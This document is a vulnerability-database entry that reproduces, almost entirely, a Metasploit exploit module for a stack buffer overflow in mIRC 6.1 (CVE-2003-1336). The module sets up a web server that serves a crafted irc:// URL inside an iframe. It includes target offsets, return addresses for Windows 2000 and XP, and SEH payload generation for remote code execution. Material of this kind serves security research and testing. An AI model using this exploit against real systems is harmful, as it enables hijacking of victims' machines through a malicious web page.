mIRC IRC URL Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType

mIRC IRC URL Buffer Overflow, stack buffer overflow in mIRC 6.1 allows attacker to control executio


                                                ##
# $Id: mirc_irc_url.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;mIRC IRC URL Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack buffer overflow in mIRC 6.1. By
				submitting an overly long and specially crafted URL to
				the &#39;irc&#39; protocol, an attacker can overwrite the buffer
				and control program execution.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62; &#39;MC&#39;,
			&#39;Version&#39;        =&#62; &#39;$Revision: 9262 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2003-1336&#39;],
					[ &#39;OSVDB&#39;, &#39;2665&#39;],
					[ &#39;BID&#39;, &#39;8819&#39; ],
				],

			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},

			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 400,
					&#39;BadChars&#39; =&#62; &#34;\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40&#34;,
					&#39;StackAdjustment&#39; =&#62; -3500,
				},
			&#39;Platform&#39; =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Windows 2000 Pro English All&#39;,   { &#39;Offset&#39; =&#62; 1442, &#39;Ret&#39; =&#62; 0x75022ac4 } ],
					[ &#39;Windows XP Pro SP0/SP1 English&#39;, { &#39;Offset&#39; =&#62; 1414, &#39;Ret&#39; =&#62; 0x71aa32ad } ],
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;DisclosureDate&#39; =&#62; &#39;Oct 13 2003&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		filler =  rand_text_alphanumeric(target[&#39;Offset&#39;], payload_badchars)
		seh    = generate_seh_payload(target.ret)
		sploit = filler + seh

		# Build the HTML content
		content = &#34;&#60;html&#62;&#60;iframe src=&#39;irc://#{sploit}&#39;&#62;&#60;/html&#62;&#34;

		print_status(&#34;Sending exploit to #{cli.peerhost}:#{cli.peerport}...&#34;)

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1